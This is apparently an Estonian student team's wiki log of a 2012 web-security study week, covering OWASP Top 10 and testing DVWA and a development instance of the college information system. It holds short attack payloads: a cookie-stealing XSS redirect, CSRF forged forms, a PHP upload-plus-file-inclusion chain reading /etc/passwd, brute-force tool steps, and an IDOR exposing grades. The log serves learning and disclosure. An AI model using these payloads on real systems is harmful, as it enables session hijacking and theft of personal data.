  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47074</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47074"/>
		<updated>2012-03-30T21:05:49Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* 1. päev - Materjalidega tutvumine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
::A1: Injection - Urmo&lt;br /&gt;
::A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
::A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
::A4: Insecure Direct Object References - Alo&lt;br /&gt;
::A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
::A6: Security Misconfiguration - Matis&lt;br /&gt;
::A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
::A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
::A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
::A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
:1.1	Tutvuda OWASP’iga. &lt;br /&gt;
:1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
:1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
:2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
:2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
:2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
:2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
:3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
:3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
:4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
:5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
:Cross-Site Scripting (XSS)&lt;br /&gt;
:SQL Injection (blind test)&lt;br /&gt;
:File inclusion&lt;br /&gt;
:Code Execution&lt;br /&gt;
:LDAP Injection&lt;br /&gt;
:Cross Frame Scripting&lt;br /&gt;
:SQL Injection (error msg. test)&lt;br /&gt;
:CRLF Injection&lt;br /&gt;
:Directory Travelsal&lt;br /&gt;
:XPath Injection&lt;br /&gt;
:URL Redirection&lt;br /&gt;
:Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
